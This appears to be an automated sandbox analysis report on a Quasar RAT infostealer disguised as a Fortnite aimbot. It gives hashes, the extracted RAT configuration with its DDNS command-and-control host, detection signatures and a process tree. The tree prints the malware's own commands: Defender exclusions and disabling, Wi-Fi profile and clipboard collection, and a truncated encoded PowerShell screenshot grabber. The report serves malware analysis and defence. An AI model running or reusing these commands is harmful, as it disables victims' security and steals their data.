quasar | 1cdd2cd88644b2d634ac27b95031bddcbb69479bf6bdd090a2257e40132a69c2

Analysis

max time kernel
32s
max time network
29s
platform
windows11-21h2_x64
resource
win11-20240412-en
resource tags

arch:x64arch:x86image:win11-20240412-enlocale:en-usos:windows11-21h2-x64system
submitted
20/04/2024, 15:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SlottedAimV2.exe
Size 7.0MB
Sample240420-sdggwabb26
SHA256 ebbdf48aafe6c046eca7512a4e764629559392147518fdf2917751a891bfcd5d
MD5 decace854bd66eba96581505cbb1f785
SHA1 dfd6824e2db3a2ebb89208f0e5f69e6cc1661da6
SHA512 e55f8afc9a36913aaa24932a94b82100a53accd4f5d8865fc207c9b50c607efa259115d53d5926e0b45c99c0b9dece02996a6b8db5d365af122ccbcdd69823c8
SSDEEP 196608:WrSUf0qyleOjmFQR4MVGFtwLPCnL2hVcL:PVXKtM5LPCGcL
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar fortnite spyware stealer trojan upx

Malware Config

Extracted

Family

quasar

Version

1.3.0.0

Botnet

FORTNITE

hanekese.ddns.net:1005

Mutex

QSR_MUTEX_uKpgto5HxTzlVefHo9

Attributes

encryption_key
RayN5IunUgPITKqRBUZA
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
mac updater
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000002a9ff-97.dat	family_quasar
behavioral2/memory/3932-119-0x0000000000090000-0x00000000000EE000-memory.dmp	family_quasar

Executes dropped EXE 2 IoCs

pid	Process
3932	bound.exe
1812	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe
4976	SlottedAimV2.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000100000002aa33-22.dat	upx
behavioral2/memory/4976-26-0x00007FF8EF850000-0x00007FF8EFE39000-memory.dmp	upx
behavioral2/files/0x000100000002aa25-28.dat	upx
behavioral2/files/0x000100000002aa24-41.dat	upx
behavioral2/files/0x000100000002aa38-40.dat	upx
behavioral2/files/0x000100000002aa2a-46.dat	upx
behavioral2/memory/4976-49-0x00007FF9049B0000-0x00007FF9049D3000-memory.dmp	upx
behavioral2/memory/4976-50-0x00007FF909E30000-0x00007FF909E3F000-memory.dmp	upx
behavioral2/files/0x000100000002aa29-45.dat	upx
behavioral2/files/0x000100000002aa26-42.dat	upx
behavioral2/files/0x000100000002aa2b-47.dat	upx
behavioral2/files/0x000100000002aa28-44.dat	upx
behavioral2/files/0x000100000002aa37-39.dat	upx
behavioral2/files/0x000100000002aa36-38.dat	upx
behavioral2/files/0x000100000002aa32-35.dat	upx
behavioral2/files/0x000100000002aa30-34.dat	upx
behavioral2/files/0x000100000002aa27-43.dat	upx
behavioral2/files/0x000100000002aa2c-48.dat	upx
behavioral2/files/0x000100000002aa31-31.dat	upx
behavioral2/memory/4976-56-0x00007FF900710000-0x00007FF90073D000-memory.dmp	upx
behavioral2/memory/4976-58-0x00007FF9071F0000-0x00007FF907209000-memory.dmp	upx
behavioral2/memory/4976-60-0x00007FF900630000-0x00007FF900653000-memory.dmp	upx
behavioral2/memory/4976-62-0x00007FF8EF420000-0x00007FF8EF590000-memory.dmp	upx
behavioral2/memory/4976-64-0x00007FF905D20000-0x00007FF905D39000-memory.dmp	upx
behavioral2/memory/4976-66-0x00007FF905CA0000-0x00007FF905CAD000-memory.dmp	upx
behavioral2/memory/4976-72-0x00007FF8EF150000-0x00007FF8EF208000-memory.dmp	upx
behavioral2/memory/4976-68-0x00007FF8F6CC0000-0x00007FF8F6CEE000-memory.dmp	upx
behavioral2/memory/4976-73-0x00007FF8EEDD0000-0x00007FF8EF149000-memory.dmp	upx
behavioral2/memory/4976-78-0x00007FF9049A0000-0x00007FF9049AD000-memory.dmp	upx
behavioral2/memory/4976-80-0x00007FF8EF850000-0x00007FF8EFE39000-memory.dmp	upx
behavioral2/memory/4976-81-0x00007FF904820000-0x00007FF904834000-memory.dmp	upx
behavioral2/memory/4976-82-0x00007FF8EECB0000-0x00007FF8EEDCC000-memory.dmp	upx
behavioral2/memory/4976-83-0x00007FF9049B0000-0x00007FF9049D3000-memory.dmp	upx
behavioral2/memory/3360-101-0x0000026EF6380000-0x0000026EF6390000-memory.dmp	upx
behavioral2/memory/4976-123-0x00007FF900630000-0x00007FF900653000-memory.dmp	upx
behavioral2/memory/4976-129-0x00007FF8EF420000-0x00007FF8EF590000-memory.dmp	upx
behavioral2/memory/4976-130-0x00007FF905D20000-0x00007FF905D39000-memory.dmp	upx
behavioral2/memory/4976-145-0x00007FF8F6CC0000-0x00007FF8F6CEE000-memory.dmp	upx
behavioral2/memory/4976-159-0x00007FF8EF150000-0x00007FF8EF208000-memory.dmp	upx
behavioral2/memory/4976-160-0x00007FF8EEDD0000-0x00007FF8EF149000-memory.dmp	upx
behavioral2/memory/4976-351-0x00007FF8EF850000-0x00007FF8EFE39000-memory.dmp	upx
behavioral2/memory/4976-352-0x00007FF9049B0000-0x00007FF9049D3000-memory.dmp	upx
behavioral2/memory/4976-365-0x00007FF8EF420000-0x00007FF8EF590000-memory.dmp	upx
behavioral2/memory/4976-368-0x00007FF8F6CC0000-0x00007FF8F6CEE000-memory.dmp	upx
behavioral2/memory/4976-370-0x00007FF8EEDD0000-0x00007FF8EF149000-memory.dmp	upx
behavioral2/memory/4976-369-0x00007FF8EF150000-0x00007FF8EF208000-memory.dmp	upx
behavioral2/memory/4976-376-0x00007FF8EF850000-0x00007FF8EFE39000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	discord.com
1	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4684	WMIC.exe
1348	WMIC.exe
1256	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
4436	tasklist.exe
3896	tasklist.exe
1924	tasklist.exe
3140	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
4668	systeminfo.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
3360	powershell.exe
2892	powershell.exe
2892	powershell.exe
2372	powershell.exe
2372	powershell.exe
2892	powershell.exe
3360	powershell.exe
3360	powershell.exe
2372	powershell.exe
2268	powershell.exe
2268	powershell.exe
4608	powershell.exe
4608	powershell.exe
4608	powershell.exe
4876	powershell.exe
4876	powershell.exe
4876	powershell.exe
3908	powershell.exe
3908	powershell.exe
3244	powershell.exe
3244	powershell.exe
4972	powershell.exe
4972	powershell.exe
4476	powershell.exe
4476	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeIncreaseQuotaPrivilege	2736	WMIC.exe
Token: SeSecurityPrivilege	2736	WMIC.exe
Token: SeTakeOwnershipPrivilege	2736	WMIC.exe
Token: SeLoadDriverPrivilege	2736	WMIC.exe
Token: SeSystemProfilePrivilege	2736	WMIC.exe
Token: SeSystemtimePrivilege	2736	WMIC.exe
Token: SeProfSingleProcessPrivilege	2736	WMIC.exe
Token: SeIncBasePriorityPrivilege	2736	WMIC.exe
Token: SeCreatePagefilePrivilege	2736	WMIC.exe
Token: SeBackupPrivilege	2736	WMIC.exe
Token: SeRestorePrivilege	2736	WMIC.exe
Token: SeShutdownPrivilege	2736	WMIC.exe
Token: SeDebugPrivilege	2736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2736	WMIC.exe
Token: SeRemoteShutdownPrivilege	2736	WMIC.exe
Token: SeUndockPrivilege	2736	WMIC.exe
Token: SeManageVolumePrivilege	2736	WMIC.exe
Token: 33	2736	WMIC.exe
Token: 34	2736	WMIC.exe
Token: 35	2736	WMIC.exe
Token: 36	2736	WMIC.exe
Token: SeDebugPrivilege	4436	tasklist.exe
Token: SeDebugPrivilege	2892	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeIncreaseQuotaPrivilege	2736	WMIC.exe
Token: SeSecurityPrivilege	2736	WMIC.exe
Token: SeTakeOwnershipPrivilege	2736	WMIC.exe
Token: SeLoadDriverPrivilege	2736	WMIC.exe
Token: SeSystemProfilePrivilege	2736	WMIC.exe
Token: SeSystemtimePrivilege	2736	WMIC.exe
Token: SeProfSingleProcessPrivilege	2736	WMIC.exe
Token: SeIncBasePriorityPrivilege	2736	WMIC.exe
Token: SeCreatePagefilePrivilege	2736	WMIC.exe
Token: SeBackupPrivilege	2736	WMIC.exe
Token: SeRestorePrivilege	2736	WMIC.exe
Token: SeShutdownPrivilege	2736	WMIC.exe
Token: SeDebugPrivilege	2736	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2736	WMIC.exe
Token: SeRemoteShutdownPrivilege	2736	WMIC.exe
Token: SeUndockPrivilege	2736	WMIC.exe
Token: SeManageVolumePrivilege	2736	WMIC.exe
Token: 33	2736	WMIC.exe
Token: 34	2736	WMIC.exe
Token: 35	2736	WMIC.exe
Token: 36	2736	WMIC.exe
Token: SeDebugPrivilege	3932	bound.exe
Token: SeIncreaseQuotaPrivilege	4684	WMIC.exe
Token: SeSecurityPrivilege	4684	WMIC.exe
Token: SeTakeOwnershipPrivilege	4684	WMIC.exe
Token: SeLoadDriverPrivilege	4684	WMIC.exe
Token: SeSystemProfilePrivilege	4684	WMIC.exe
Token: SeSystemtimePrivilege	4684	WMIC.exe
Token: SeProfSingleProcessPrivilege	4684	WMIC.exe
Token: SeIncBasePriorityPrivilege	4684	WMIC.exe
Token: SeCreatePagefilePrivilege	4684	WMIC.exe
Token: SeBackupPrivilege	4684	WMIC.exe
Token: SeRestorePrivilege	4684	WMIC.exe
Token: SeShutdownPrivilege	4684	WMIC.exe
Token: SeDebugPrivilege	4684	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4684	WMIC.exe
Token: SeRemoteShutdownPrivilege	4684	WMIC.exe
Token: SeUndockPrivilege	4684	WMIC.exe
Token: SeManageVolumePrivilege	4684	WMIC.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3932	bound.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2196 wrote to memory of 4976	2196	SlottedAimV2.exe	80
PID 2196 wrote to memory of 4976	2196	SlottedAimV2.exe	80
PID 4976 wrote to memory of 1180	4976	SlottedAimV2.exe	82
PID 4976 wrote to memory of 1180	4976	SlottedAimV2.exe	82
PID 4976 wrote to memory of 4088	4976	SlottedAimV2.exe	83
PID 4976 wrote to memory of 4088	4976	SlottedAimV2.exe	83
PID 4976 wrote to memory of 3504	4976	SlottedAimV2.exe	84
PID 4976 wrote to memory of 3504	4976	SlottedAimV2.exe	84
PID 4976 wrote to memory of 2796	4976	SlottedAimV2.exe	85
PID 4976 wrote to memory of 2796	4976	SlottedAimV2.exe	85
PID 4976 wrote to memory of 1648	4976	SlottedAimV2.exe	87
PID 4976 wrote to memory of 1648	4976	SlottedAimV2.exe	87
PID 4976 wrote to memory of 480	4976	SlottedAimV2.exe	122
PID 4976 wrote to memory of 480	4976	SlottedAimV2.exe	122
PID 1180 wrote to memory of 3360	1180	cmd.exe	94
PID 1180 wrote to memory of 3360	1180	cmd.exe	94
PID 3504 wrote to memory of 2892	3504	cmd.exe	95
PID 3504 wrote to memory of 2892	3504	cmd.exe	95
PID 480 wrote to memory of 2736	480	cmd.exe	96
PID 480 wrote to memory of 2736	480	cmd.exe	96
PID 1648 wrote to memory of 4436	1648	cmd.exe	97
PID 1648 wrote to memory of 4436	1648	cmd.exe	97
PID 4088 wrote to memory of 2372	4088	cmd.exe	135
PID 4088 wrote to memory of 2372	4088	cmd.exe	135
PID 2796 wrote to memory of 3932	2796	cmd.exe	99
PID 2796 wrote to memory of 3932	2796	cmd.exe	99
PID 2796 wrote to memory of 3932	2796	cmd.exe	99
PID 4976 wrote to memory of 2772	4976	SlottedAimV2.exe	157
PID 4976 wrote to memory of 2772	4976	SlottedAimV2.exe	157
PID 2772 wrote to memory of 4928	2772	cmd.exe	103
PID 2772 wrote to memory of 4928	2772	cmd.exe	103
PID 4976 wrote to memory of 1720	4976	SlottedAimV2.exe	104
PID 4976 wrote to memory of 1720	4976	SlottedAimV2.exe	104
PID 1720 wrote to memory of 4252	1720	cmd.exe	106
PID 1720 wrote to memory of 4252	1720	cmd.exe	106
PID 4976 wrote to memory of 4696	4976	SlottedAimV2.exe	107
PID 4976 wrote to memory of 4696	4976	SlottedAimV2.exe	107
PID 4696 wrote to memory of 4684	4696	cmd.exe	109
PID 4696 wrote to memory of 4684	4696	cmd.exe	109
PID 4976 wrote to memory of 3848	4976	SlottedAimV2.exe	110
PID 4976 wrote to memory of 3848	4976	SlottedAimV2.exe	110
PID 3848 wrote to memory of 1348	3848	cmd.exe	112
PID 3848 wrote to memory of 1348	3848	cmd.exe	112
PID 4976 wrote to memory of 1548	4976	SlottedAimV2.exe	113
PID 4976 wrote to memory of 1548	4976	SlottedAimV2.exe	113
PID 1548 wrote to memory of 2268	1548	cmd.exe	115
PID 1548 wrote to memory of 2268	1548	cmd.exe	115
PID 4976 wrote to memory of 3536	4976	SlottedAimV2.exe	116
PID 4976 wrote to memory of 3536	4976	SlottedAimV2.exe	116
PID 4976 wrote to memory of 2984	4976	SlottedAimV2.exe	117
PID 4976 wrote to memory of 2984	4976	SlottedAimV2.exe	117
PID 3536 wrote to memory of 1924	3536	cmd.exe	120
PID 3536 wrote to memory of 1924	3536	cmd.exe	120
PID 2984 wrote to memory of 3896	2984	cmd.exe	121
PID 2984 wrote to memory of 3896	2984	cmd.exe	121
PID 4976 wrote to memory of 480	4976	SlottedAimV2.exe	122
PID 4976 wrote to memory of 480	4976	SlottedAimV2.exe	122
PID 4976 wrote to memory of 3244	4976	SlottedAimV2.exe	166
PID 4976 wrote to memory of 3244	4976	SlottedAimV2.exe	166
PID 4976 wrote to memory of 2012	4976	SlottedAimV2.exe	125
PID 4976 wrote to memory of 2012	4976	SlottedAimV2.exe	125
PID 480 wrote to memory of 3480	480	cmd.exe	128
PID 480 wrote to memory of 3480	480	cmd.exe	128
PID 3244 wrote to memory of 4608	3244	cmd.exe	129

C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe
"C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2196
- C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe
  "C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SlottedAimV2.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3360
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4088
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2892
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3932
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4436
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:480
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:4928
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4696
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:4684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3848
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1348
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ .scr'"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1548
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎ .scr'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3536
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:1924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:480
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:3480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3244
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4608
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    PID:2012
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Enumerates processes with tasklist
      PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    PID:716
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3876
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    PID:3432
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2372
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      PID:1872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    PID:1740
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:4668
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzA